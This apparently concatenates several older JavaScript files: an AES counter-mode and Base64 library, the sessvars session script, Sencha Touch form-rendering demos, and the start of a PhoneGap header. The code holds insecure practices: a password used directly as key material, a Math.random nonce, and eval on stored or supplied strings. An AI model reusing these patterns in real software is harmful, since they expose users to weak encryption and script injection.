0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16];
// rCon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [§5.2]
Aes.rCon = [ [0x00, 0x00, 0x00, 0x00],
[0x01, 0x00, 0x00, 0x00],
[0x02, 0x00, 0x00, 0x00],
[0x04, 0x00, 0x00, 0x00],
[0x08, 0x00, 0x00, 0x00],
[0x10, 0x00, 0x00, 0x00],
[0x20, 0x00, 0x00, 0x00],
[0x40, 0x00, 0x00, 0x00],
[0x80, 0x00, 0x00, 0x00],
[0x1b, 0x00, 0x00, 0x00],
[0x36, 0x00, 0x00, 0x00] ];
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/* AES Counter-mode implementation in JavaScript (c) Chris Veness 2005-2011 */
/* - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
Aes.Ctr = {}; // Aes.Ctr namespace: a subclass or extension of Aes
/**
* Encrypt a text using AES encryption in Counter mode of operation
*
* Unicode multi-byte character safe
*
* @param {String} plaintext Source text to be encrypted
* @param {String} password The password to use to generate a key
* @param {Number} nBits Number of bits to be used in the key (128, 192, or 256)
* @returns {string} Encrypted text
*/
Aes.Ctr.encrypt = function(plaintext, password, nBits) {
var blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
if (!(nBits==128 || nBits==192 || nBits==256)) return ''; // standard allows 128/192/256 bit keys
plaintext = Utf8.encode(plaintext);
password = Utf8.encode(password);
//var t = new Date(); // timer
// use AES itself to encrypt password to get cipher key (using plain password as source for key
// expansion) - gives us well encrypted key (though hashed key might be preferred for prod'n use)
var nBytes = nBits/8; // no bytes in key (16/24/32)
var pwBytes = new Array(nBytes);
for (var i=0; i<nBytes; i++) { // use 1st 16/24/32 chars of password for key
pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
}
var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes)); // gives us 16-byte key
key = key.concat(key.slice(0, nBytes-16)); // expand key to 16/24/32 bytes long
// initialise 1st 8 bytes of counter block with nonce (NIST SP800-38A §B.2): [0-1] = millisec,
// [2-3] = random, [4-7] = seconds, together giving full sub-millisec uniqueness up to Feb 2106
var counterBlock = new Array(blockSize);
var nonce = (new Date()).getTime(); // timestamp: milliseconds since 1-Jan-1970
var nonceMs = nonce%1000;
var nonceSec = Math.floor(nonce/1000);
var nonceRnd = Math.floor(Math.random()*0xffff);
for (var i=0; i<2; i++) counterBlock[i] = (nonceMs >>> i*8) & 0xff;
for (var i=0; i<2; i++) counterBlock[i+2] = (nonceRnd >>> i*8) & 0xff;
for (var i=0; i<4; i++) counterBlock[i+4] = (nonceSec >>> i*8) & 0xff;
// and convert it to a string to go on the front of the ciphertext
var ctrTxt = '';
for (var i=0; i<8; i++) ctrTxt += String.fromCharCode(counterBlock[i]);
// generate key schedule - an expansion of the key into distinct Key Rounds for each round
var keySchedule = Aes.keyExpansion(key);
var blockCount = Math.ceil(plaintext.length/blockSize);
var ciphertxt = new Array(blockCount); // ciphertext as array of strings
for (var b=0; b<blockCount; b++) {
// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
// done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
for (var c=0; c<4; c++) counterBlock[15-c] = (b >>> c*8) & 0xff;
for (var c=0; c<4; c++) counterBlock[15-c-4] = (b/0x100000000 >>> c*8)
var cipherCntr = Aes.cipher(counterBlock, keySchedule); // -- encrypt counter block --
// block size is reduced on final block
var blockLength = b<blockCount-1 ? blockSize : (plaintext.length-1)%blockSize+1;
var cipherChar = new Array(blockLength);
for (var i=0; i<blockLength; i++) { // -- xor plaintext with ciphered counter char-by-char --
cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b*blockSize+i);
cipherChar[i] = String.fromCharCode(cipherChar[i]);
}
ciphertxt[b] = cipherChar.join('');
}
// Array.join is more efficient than repeated string concatenation in IE
var ciphertext = ctrTxt + ciphertxt.join('');
ciphertext = Base64.encode(ciphertext); // encode in base64
//alert((new Date()) - t);
return ciphertext;
}
/**
* Decrypt a text encrypted by AES in counter mode of operation
*
* @param {String} ciphertext Source text to be encrypted
* @param {String} password The password to use to generate a key
* @param {Number} nBits Number of bits to be used in the key (128, 192, or 256)
* @returns {String} Decrypted text
*/
Aes.Ctr.decrypt = function(ciphertext, password, nBits) {
var blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
if (!(nBits==128 || nBits==192 || nBits==256)) return ''; // standard allows 128/192/256 bit keys
ciphertext = Base64.decode(ciphertext);
password = Utf8.encode(password);
//var t = new Date(); // timer
// use AES to encrypt password (mirroring encrypt routine)
var nBytes = nBits/8; // no bytes in key
var pwBytes = new Array(nBytes);
for (var i=0; i<nBytes; i++) {
pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
}
var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
key = key.concat(key.slice(0, nBytes-16)); // expand key to 16/24/32 bytes long
// recover nonce from 1st 8 bytes of ciphertext
var counterBlock = new Array(8);
ctrTxt = ciphertext.slice(0, 8);
for (var i=0; i<8; i++) counterBlock[i] = ctrTxt.charCodeAt(i);
// generate key schedule
var keySchedule = Aes.keyExpansion(key);
// separate ciphertext into blocks (skipping past initial 8 bytes)
var nBlocks = Math.ceil((ciphertext.length-8) / blockSize);
var ct = new Array(nBlocks);
for (var b=0; b<nBlocks; b++) ct[b] = ciphertext.slice(8+b*blockSize, 8+b*blockSize+blockSize);
ciphertext = ct; // ciphertext is now array of block-length strings
// plaintext will get generated block-by-block into array of block-length strings
var plaintxt = new Array(ciphertext.length);
for (var b=0; b<nBlocks; b++) {
// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
for (var c=0; c<4; c++) counterBlock[15-c] = ((b) >>> c*8) & 0xff;
for (var c=0; c<4; c++) counterBlock[15-c-4] = (((b+1)/0x100000000-1) >>> c*8) & 0xff;
var cipherCntr = Aes.cipher(counterBlock, keySchedule); // encrypt counter block
var plaintxtByte = new Array(ciphertext[b].length);
for (var i=0; i<ciphertext[b].length; i++) {
// -- xor plaintxt with ciphered counter byte-by-byte --
plaintxtByte[i] = cipherCntr[i] ^ ciphertext[b].charCodeAt(i);
plaintxtByte[i] = String.fromCharCode(plaintxtByte[i]);
}
plaintxt[b] = plaintxtByte.join('');
}
// join array of blocks into single plaintext string
var plaintext = plaintxt.join('');
plaintext = Utf8.decode(plaintext); // decode from UTF8 back to Unicode multi-byte chars
//alert((new Date()) - t);
return plaintext;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/* Base64 class: Base 64 encoding / decoding (c) Chris Veness 2002-2011 */
/* note: depends on Utf8 class */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
var Base64 = {}; // Base64 namespace
Base64.code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
/**
* Encode string into Base64, as defined by RFC 4648 [http://tools.ietf.org/html/rfc4648]
* (instance method extending String object). As per RFC 4648, no newlines are added.
*
* @param {String} str The string to be encoded as base-64
* @param {Boolean} [utf8encode=false] Flag to indicate whether str is Unicode string to be encoded
* to UTF8 before conversion to base64; otherwise string is assumed to be 8-bit characters
* @returns {String} Base64-encoded string
*/
Base64.encode = function(str, utf8encode) { // http://tools.ietf.org/html/rfc4648
utf8encode = (typeof utf8encode == 'undefined') ? false : utf8encode;
var o1, o2, o3, bits, h1, h2, h3, h4, e=[], pad = '', c, plain, coded;
var b64 = Base64.code;
plain = utf8encode ? str.encodeUTF8() : str;
c = plain.length % 3; // pad string to length of multiple of 3
if (c > 0) { while (c++ < 3) { pad += '='; plain += '\0'; } }
// note: doing padding here saves us doing special-case packing for trailing 1 or 2 chars
for (c=0; c<plain.length; c+=3) { // pack three octets into four hexets
o1 = plain.charCodeAt(c);
o2 = plain.charCodeAt(c+1);
o3 = plain.charCodeAt(c+2);
bits = o1<<16 | o2<<8 | o3;
h1 = bits>>18 & 0x3f;
h2 = bits>>12 & 0x3f;
h3 = bits>>6 & 0x3f;
h4 = bits & 0x3f;
// use hextets to index into code string
e[c/3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
}
coded = e.join(''); // join() is far faster than repeated string concatenation in IE
// replace 'A's from padded nulls with '='s
coded = coded.slice(0, coded.length-pad.length) + pad;
return coded;
}
/**
* Decode string from Base64, as defined by RFC 4648 [http://tools.ietf.org/html/rfc4648]
* (instance method extending String object). As per RFC 4648, newlines are not catered for.
*
* @param {String} str The string to be decoded from base-64
* @param {Boolean} [utf8decode=false] Flag to indicate whether str is Unicode string to be decoded
* from UTF8 after conversion from base64
* @returns {String} decoded string
*/
Base64.decode = function(str, utf8decode) {
utf8decode = (typeof utf8decode == 'undefined') ? false : utf8decode;
var o1, o2, o3, h1, h2, h3, h4, bits, d=[], plain, coded;
var b64 = Base64.code;
coded = utf8decode ? str.decodeUTF8() : str;
for (var c=0; c<coded.length; c+=4) { // unpack four hexets into three octets
h1 = b64.indexOf(coded.charAt(c));
h2 = b64.indexOf(coded.charAt(c+1));
h3 = b64.indexOf(coded.charAt(c+2));
h4 = b64.indexOf(coded.charAt(c+3));
bits = h1<<18 | h2<<12 | h3<<6 | h4;
o1 = bits>>>16 & 0xff;
o2 = bits>>>8 & 0xff;
o3 = bits & 0xff;
d[c/4] = String.fromCharCode(o1, o2, o3);
// check for padding
if (h4 == 0x40) d[c/4] = String.fromCharCode(o1, o2);
if (h3 == 0x40) d[c/4] = String.fromCharCode(o1);
}
plain = d.join(''); // join() is far faster than repeated string concatenation in IE
return utf8decode ? plain.decodeUTF8() : plain;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/* Utf8 class: encode / decode between multi-byte Unicode characters and UTF-8 multiple */
/* single-byte character encoding (c) Chris Veness 2002-2011 */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
var Utf8 = {}; // Utf8 namespace
/**
* Encode multi-byte Unicode string into utf-8 multiple single-byte characters
* (BMP / basic multilingual plane only)
*
* Chars in range U+0080 - U+07FF are encoded in 2 chars, U+0800 - U+FFFF in 3 chars
*
* @param {String} strUni Unicode string to be encoded as UTF-8
* @returns {String} encoded string
*/
Utf8.encode = function(strUni) {
// use regular expressions & String.replace callback function for better efficiency
// than procedural approaches
var strUtf = strUni.replace(
/[\u0080-\u07ff]/g, // U+0080 - U+07FF => 2 bytes 110yyyyy, 10zzzzzz
function(c) {
var cc = c.charCodeAt(0);
return String.fromCharCode(0xc0 | cc>>6, 0x80 | cc&0x3f); }
);
strUtf = strUtf.replace(
/[\u0800-\uffff]/g, // U+0800 - U+FFFF => 3 bytes 1110xxxx, 10yyyyyy, 10zzzzzz
function(c) {
var cc = c.charCodeAt(0);
return String.fromCharCode(0xe0 | cc>>12, 0x80 | cc>>6&0x3F, 0x80 | cc&0x3f); }
);
return strUtf;
}
/**
* Decode utf-8 encoded string back into multi-byte Unicode characters
*
* @param {String} strUtf UTF-8 string to be decoded back to Unicode
* @returns {String} decoded string
*/
Utf8.decode = function(strUtf) {
// note: decode 3-byte chars first as decoded 2-byte strings could appear to be 3-byte char!
var strUni = strUtf.replace(
/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, // 3-byte chars
function(c) { // (note parentheses for precence)
var cc = ((c.charCodeAt(0)&0x0f)<<12) | ((c.charCodeAt(1)&0x3f)<<6) | ( c.charCodeAt(2)&0x3f);
return String.fromCharCode(cc); }
);
strUni = strUni.replace(
/[\u00c0-\u00df][\u0080-\u00bf]/g, // 2-byte chars
function(c) { // (note parentheses for precence)
var cc = (c.charCodeAt(0)&0x1f)<<6 | c.charCodeAt(1)&0x3f;
return String.fromCharCode(cc); }
);
return strUni;
} | JavaScript |
/*
sessvars ver 1.01
- JavaScript based session object
copyright 2008 Thomas Frank
This EULA grants you the following rights:
Installation and Use. You may install and use an unlimited number of copies of the SOFTWARE PRODUCT.
Reproduction and Distribution. You may reproduce and distribute an unlimited number of copies of the SOFTWARE PRODUCT either in whole or in part; each copy should include all copyright and trademark notices, and shall be accompanied by a copy of this EULA. Copies of the SOFTWARE PRODUCT may be distributed as a standalone product or included with your own product.
Commercial Use. You may sell for profit and freely distribute scripts and/or compiled scripts that were created with the SOFTWARE PRODUCT.
v 1.0 --> 1.01
sanitizer added to toObject-method & includeFunctions flag now defaults to false
*/
sessvars=function(){
var x={};
x.$={
prefs:{
memLimit:2000,
autoFlush:true,
crossDomain:false,
includeProtos:false,
includeFunctions:false
},
parent:x,
clearMem:function(){
for(var i in this.parent){if(i!="$"){this.parent[i]=undefined}};
this.flush();
},
usedMem:function(){
x={};
return Math.round(this.flush(x)/1024);
},
usedMemPercent:function(){
return Math.round(this.usedMem()/this.prefs.memLimit);
},
flush:function(x){
var y,o={},j=this.$$;
x=x||top;
for(var i in this.parent){o[i]=this.parent[i]};
o.$=this.prefs;
j.includeProtos=this.prefs.includeProtos;
j.includeFunctions=this.prefs.includeFunctions;
y=this.$$.make(o);
if(x!=top){return y.length};
if(y.length/1024>this.prefs.memLimit){return false}
x.name=y;
return true;
},
getDomain:function(){
var l=location.href
l=l.split("///").join("//");
l=l.substring(l.indexOf("://")+3).split("/")[0];
while(l.split(".").length>2){l=l.substring(l.indexOf(".")+1)};
return l
},
debug:function(t){
var t=t||this,a=arguments.callee;
if(!document.body){setTimeout(function(){a(t)},200);return};
t.flush();
var d=document.getElementById("sessvarsDebugDiv");
if(!d){d=document.createElement("div");document.body.insertBefore(d,document.body.firstChild)};
d.id="sessvarsDebugDiv";
d.innerHTML='<div style="line-height:20px;padding:5px;font-size:11px;font-family:Verdana,Arial,Helvetica;'+
'z-index:10000;background:#FFFFCC;border: 1px solid #333;margin-bottom:12px">'+
'<b style="font-family:Trebuchet MS;font-size:20px">sessvars.js - debug info:</b><br/><br/>'+
'Memory usage: '+t.usedMem()+' Kb ('+t.usedMemPercent()+'%) '+
'<span style="cursor:pointer"><b>[Clear memory]</b></span><br/>'+
top.name.split('\n').join('<br/>')+'</div>';
d.getElementsByTagName('span')[0].onclick=function(){t.clearMem();location.reload()}
},
init:function(){
var o={}, t=this;
try {o=this.$$.toObject(top.name)} catch(e){o={}};
this.prefs=o.$||t.prefs;
if(this.prefs.crossDomain || this.prefs.currentDomain==this.getDomain()){
for(var i in o){this.parent[i]=o[i]};
}
else {
this.prefs.currentDomain=this.getDomain();
};
this.parent.$=t;
t.flush();
var f=function(){if(t.prefs.autoFlush){t.flush()}};
if(window["addEventListener"]){addEventListener("unload",f,false)}
else if(window["attachEvent"]){window.attachEvent("onunload",f)}
else {this.prefs.autoFlush=false};
}
};
x.$.$$={
compactOutput:false,
includeProtos:false,
includeFunctions: false,
detectCirculars:true,
restoreCirculars:true,
make:function(arg,restore) {
this.restore=restore;
this.mem=[];this.pathMem=[];
return this.toJsonStringArray(arg).join('');
},
toObject:function(x){
if(!this.cleaner){
try{this.cleaner=new RegExp('^("(\\\\.|[^"\\\\\\n\\r])*?"|[,:{}\\[\\]0-9.\\-+Eaeflnr-u \\n\\r\\t])+?$')}
catch(a){this.cleaner=/^(true|false|null|\[.*\]|\{.*\}|".*"|\d+|\d+\.\d+)$/}
};
if(!this.cleaner.test(x)){return {}};
eval("this.myObj="+x);
if(!this.restoreCirculars || !alert){return this.myObj};
if(this.includeFunctions){
var x=this.myObj;
for(var i in x){if(typeof x[i]=="string" && !x[i].indexOf("JSONincludedFunc:")){
x[i]=x[i].substring(17);
eval("x[i]="+x[i])
}}
};
this.restoreCode=[];
this.make(this.myObj,true);
var r=this.restoreCode.join(";")+";";
eval('r=r.replace(/\\W([0-9]{1,})(\\W)/g,"[$1]$2").replace(/\\.\\;/g,";")');
eval(r);
return this.myObj
},
toJsonStringArray:function(arg, out) {
if(!out){this.path=[]};
out = out || [];
var u; // undefined
switch (typeof arg) {
case 'object':
this.lastObj=arg;
if(this.detectCirculars){
var m=this.mem; var n=this.pathMem;
for(var i=0;i<m.length;i++){
if(arg===m[i]){
out.push('"JSONcircRef:'+n[i]+'"');return out
}
};
m.push(arg); n.push(this.path.join("."));
};
if (arg) {
if (arg.constructor == Array) {
out.push('[');
for (var i = 0; i < arg.length; ++i) {
this.path.push(i);
if (i > 0)
out.push(',\n');
this.toJsonStringArray(arg[i], out);
this.path.pop();
}
out.push(']');
return out;
} else if (typeof arg.toString != 'undefined') {
out.push('{');
var first = true;
for (var i in arg) {
if(!this.includeProtos && arg[i]===arg.constructor.prototype[i]){continue};
this.path.push(i);
var curr = out.length;
if (!first)
out.push(this.compactOutput?',':',\n');
this.toJsonStringArray(i, out);
out.push(':');
this.toJsonStringArray(arg[i], out);
if (out[out.length - 1] == u)
out.splice(curr, out.length - curr);
else
first = false;
this.path.pop();
}
out.push('}');
return out;
}
return out;
}
out.push('null');
return out;
case 'unknown':
case 'undefined':
case 'function':
if(!this.includeFunctions){out.push(u);return out};
arg="JSONincludedFunc:"+arg;
out.push('"');
var a=['\n','\\n','\r','\\r','"','\\"'];
arg+=""; for(var i=0;i<6;i+=2){arg=arg.split(a[i]).join(a[i+1])};
out.push(arg);
out.push('"');
return out;
case 'string':
if(this.restore && arg.indexOf("JSONcircRef:")==0){
this.restoreCode.push('this.myObj.'+this.path.join(".")+"="+arg.split("JSONcircRef:").join("this.myObj."));
};
out.push('"');
var a=['\n','\\n','\r','\\r','"','\\"'];
arg+=""; for(var i=0;i<6;i+=2){arg=arg.split(a[i]).join(a[i+1])};
out.push(arg);
out.push('"');
return out;
default:
out.push(String(arg));
return out;
}
}
};
x.$.init();
return x;
}() | JavaScript |
///<reference path="file://D:/Android/touch/sencha-touch-all-debug-w-comments.js" />
var extObjectsMap = Ext.create("Ext.util.HashMap");
Ext.namespace("keni.html");
keni.html.UIRender = function () {
function createExtFields(fieldsMetadataArray) {
var extFields = new Array();
Ext.Array.each(fieldsMetadataArray, function (fieldMetadata, index, array) {
alert(fieldMetadata.fieldType);
try{
var extField = Ext.create("Ext.field." + fieldMetadata.fieldType, {
fullscreen: true,
renderTo: Ext.get('div2')});
for (property in fieldMetadata) {
alert(property);
if (extField[property]) {
extField[property] = fieldMetadata[property];
}
}
extFields[index] = extField;
extObjectsMap.add(fieldMetadata.htmlElementId, extField);
}
catch(error)
{
alert(error);
}
});
}
function createExtFieldSet(fieldSetMetadataArray) {
Ext.Array.each(fieldSetMetadataArray, function (fieldSetMetadata, index, array) {
var extFieldSet = Ext.create("Ext.form.FieldSet", {});
for (property in fieldSetMetadata) {
if (extFieldSet[property]) {
extFieldSet[property] = fieldSetMetadata[property];
}
}
extFieldSet.add(createExtFields(fieldSetMetadata.fields));
extObjectsMap.add(fieldSetMetadata.htmlElementId, extFieldSet);
});
}
function createExtFormPanel(panelMetadataArray) {
Ext.Array.each(panelMetadataArray, function (panelMetadata, index, array) {
var extPanel = Ext.create("Ext.form.Panel");
for (property in panelMetadata) {
if (extPanel[property]) {
extPanel[property] = panelMetadata[property];
}
}
extPanel.add(createExtFieldSet(panelMetadata.fieldSets));
extPanel.add(createExtFields(panelMetadata.fields));
extObjectsMap.add(panelMetadata.htmlElementId, extPanel);
});
}
this.render = function (pageMetadata) {
var pageMetadataObj = Ext.JSON.decode(pageMetadata);
alert(pageMetadata);
// createExtFormPanel(pageMetadataObj.panels);
createExtFields(pageMetadataObj.fields);
}
}
| JavaScript |
///<reference path="file://D:/Android/touch/sencha-touch-all-debug-w-comments.js" />
var extObjectsMap = Ext.create("Ext.util.HashMap");
Ext.namespace("keni.html");
keni.html.UIRender = function () {
function createExtFields(fieldsMetadataArray) {
var extFields = new Array();
Ext.Array.each(fieldsMetadataArray, function (fieldMetadata, index, array) {
// alert(fieldMetadata.fieldType);
try {
var extField = Ext.create("Ext.field." + fieldMetadata.fieldType, {});
for (property in fieldMetadata) {
setPropertities(extField, property, fieldMetadata[property]);
}
extFields[index] = extField;
extObjectsMap.add(fieldMetadata.htmlElementId, extField);
}
catch (error) {
alert(error);
}
});
return extFields;
}
function setPropertities(extObj, propertyName, propertyValue) {
var methodName = "set" + toUpperForTheFirstChar(propertyName);
// alert(methodName);
if (extObj[methodName]) {
if (isNum(propertyValue) || isBoolean(propertyValue)) {
//alert(propertyValue);
eval("extObj." + methodName + "(" + propertyValue + ")");
return;
}
extObj[methodName](propertyValue);
}
}
function toUpperForTheFirstChar(word) {
return word.substring(0, 1).toUpperCase() + word.substring(1);
}
function isBoolean(value) {
if (value != null && value != "") {
var tempValue = value.toLowerCase();
if (tempValue == "false" || tempValue == "true") {
return true;
}
}
return false;
}
function isNum(value) {
if (value != null && value != "") {
return !isNaN(value);
}
return false;
}
function createExtFieldSet(fieldSetMetadataArray) {
var extFieldSets = new Array();
Ext.Array.each(fieldSetMetadataArray, function (fieldSetMetadata, index, array) {
alert("fieldset");
var extFieldSet = Ext.create("Ext.form.FieldSet", {});
for (property in fieldSetMetadata) {
setPropertities(extFieldSet, property, fieldSetMetadata[property]);
}
extFieldSets[index] = extFieldSet;
extFieldSet.add(createExtFields(fieldSetMetadata.fields));
extObjectsMap.add(fieldSetMetadata.htmlElementId, extFieldSet);
});
return extFieldSets;
}
function createExtFormPanel(panelMetadataArray) {
Ext.Array.each(panelMetadataArray, function (panelMetadata, index, array) {
var extPanel = Ext.create("Ext.form.Panel");
// alert("panel");
for (property in panelMetadata) {
// alert(property);
setPropertities(extPanel, property, panelMetadata[property]);
}
alert(panelMetadata.fields);
extPanel.add(createExtFieldSet(panelMetadata.fieldSets));
extPanel.add(createExtFields(panelMetadata.fields));
extObjectsMap.add(panelMetadata.htmlElementId, extPanel);
});
}
this.render = function (pageMetadata) {
//alert(pageMetadata);
var pageMetadataObj = Ext.JSON.decode(pageMetadata);
createExtFormPanel(pageMetadataObj.panels);
createExtFields(pageMetadataObj.fields);
}
this.getProperty = function (htmlElementId, propertyName) {
var element = extObjectsMap.get(htmlElementId);
var realPropertyName = "get" + toUpperForTheFirstChar(propertyName);
if (element[realPropertyName]) {
return element[realPropertyName]();
}
throw propertyName + " is not definded in this object."
}
this.setProperty = function (htmlElementId, propertyName, propertyValue) {
var element = extObjectsMap.get(htmlElementId);
var realPropertyName = "set" + toUpperForTheFirstChar(propertyName);
if (element[realPropertyName]) {
setPropertities(element, propertyName, propertyValue);
}
throw propertyName + " is not definded in this object."
}
}
keni.html.DataCollector = function () {
function collectDataFromUI() {
var dataObj = {};
extObjectsMap.each(function (key, value, length) {
if (value["getValue"]) {
dataObj[key] = value.getValue();
}
});
return Ext.JSON.encode(dataObj);
}
this.saveToBackend = function () {
window.UIMetadata.saveToBackend(collectDataFromUI());
}
}
| JavaScript |
///<reference path="file://D:/Android/touch/sencha-touch-all-debug-w-comments.js" />
Ext.onReady(function () {
Ext.create('Ext.form.Panel', {
renderTo: 'div1',
width: 400,
height:300
});
}); | JavaScript |
///<reference path="file://D:/Android/touch/sencha-touch-all-debug-w-comments.js" />
Ext.define('Contact', {
extend: 'Ext.data.Model',
fields: ['firstName', 'lastName']
});
var form;
Ext.setup({
tabletStartupScreen: 'tablet_startup.png',
phoneStartupScreen: 'phone_startup.png',
icon: 'icon.png',
glossOnIcon: false,
onReady: function () {
Ext.regModel('Product', {
fields: [
{ name: 'name', type: 'string' },
{ name: 'description', type: 'string' },
{ name: 'price', type: 'float' },
{ name: 'image_url', type: 'string' },
{ name: 'in_stock', type: 'boolean' }
]
});
Ext.regModel('car', {
fields: [
{ name: 'manufacture', type: 'string' },
{ name: 'model', type: 'string' },
{ name: 'price', type: 'decimal' }
]
});
var productsList = new Ext.DataView({
store: new Ext.data.Store({
model: 'car',
proxy: {
type: 'ajax',
url: 'cars.json',
reader: {
type: 'json',
root: 'data'
}
},
autoLoad: true
}),
tpl: new Ext.XTemplate(
'<tpl for=".">',
'<div class="item">',
'<img src="{manufacture}" />',
'<div class="button">Buy</div>',
'</div>',
'</tpl>'
),
itemSelector: "div.item",
fullscreen: true
});
}
});
var store = Ext.create('Ext.data.Store', {
model: 'Contact',
sorters: 'lastName',
getGroupString: function (record) {
return record.get('lastName')[0];
},
data: [
{ firstName: 'Tommy', lastName: 'Maintz' },
{ firstName: 'Rob', lastName: 'Dougan' },
{ firstName: 'Ed', lastName: 'Spencer' },
{ firstName: 'Jamie', lastName: 'Avins' },
{ firstName: 'Aaron', lastName: 'Conran' },
{ firstName: 'Dave', lastName: 'Kaneda' },
{ firstName: 'Jacky', lastName: 'Nguyen' },
{ firstName: 'Abraham', lastName: 'Elias' },
{ firstName: 'Jay', lastName: 'Robinson' },
{ firstName: 'Nigel', lastName: 'White' },
{ firstName: 'Don', lastName: 'Griffin' },
{ firstName: 'Nico', lastName: 'Ferrero' },
{ firstName: 'Nicolas', lastName: 'Belmonte' },
{ firstName: 'Jason', lastName: 'Johnston' }
]
});
Ext.onReady(function () {
Ext.create('Ext.field.Text', {
value: 'Button',
renderTo: Ext.get('div2')
});
Ext.create('Ext.Button', {
text: 'Button',
fullscreen: true,
renderTo: Ext.get('div2')
});
var list = Ext.create('Ext.List', {
fullscreen: true,
renderTo: Ext.get('div2'),
itemTpl: '<div class="contact">{firstName} <strong>{lastName}</strong></div>',
store: store
});
Ext.create('Ext.DataView', {
fullscreen: true,
cls: 'twitterView',
store: {
autoLoad: true,
fields: ['from_user', 'text', 'profile_image_url'],
proxy: {
type: 'jsonp',
url: 'http://search.twitter.com/search.json?q=Sencha Touch',
reader: {
type: 'json',
root: 'results'
}
}
},
itemTpl: '<img src="{profile_image_url}" /><h2>{from_user}</h2><p>{text}</p><div style="clear: both"></div>'
});
var email = Ext.create('Ext.form.Email', {
label: 'Email address',
value: 'prefilled@email.com',
required: true,
renderTo: Ext.get('divgrid')
});
form = Ext.create('Ext.form.Panel', {
fullscreen: true,
standardSubmit:true,
items: [
{
xtype: 'textfield',
name: 'name',
label: 'Name',
equired: true
},
{
xtype: 'emailfield',
name: 'email',
label: 'Email',
maxLength:5
},
{
xtype: 'passwordfield',
name: 'password',
label: 'Password'
},
{
xtype: 'button',
text: 'submit',
handler:submitfields
}
]
});
form.show();
});
function submitfields() {
Ext.define('MyApp.model.User', {
fields: ['name', 'email', 'password']
});
var ed = Ext.create('MyApp.model.User', {
name: 'Ed',
email: 'ed@sencha.com',
password: 'secret'
});
form.setRecord(ed);
}
function failureHandler(from,result) {
alert(result);
}
function checkEmail() {
Ext.get("txtEmail").validationMessage = "hello email.";
Ext.get("txtEmail").checkValidity();
} | JavaScript |
///<reference path="file://D:/Android/touch/sencha-touch-all-debug-w-comments.js" />
Ext.onReady(function () {
var form = Ext.create('Ext.form.Panel', {
fullscreen: true,
width: 400,
height:200,
renderTo: Ext.get("div2"),
html: '<input type="submit" id="submit3" value="submit" />',
standardSubmit: true,
items: [
{
xtype: 'emailfield',
name: 'email',
label: 'Email'
},
{
xtype: 'passwordfield',
name: 'password',
label: 'Password'
}
]
});
form.show();
});
| JavaScript |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
// Version 1.2.0
if (typeof PhoneGap === "undefined") {
/**
* The order of events during page load and PhoneGap startup is as follows:
*
* onDOMContentLoaded Internal event that is received when the web page is loaded and parsed.
* window.onload Body onload event.
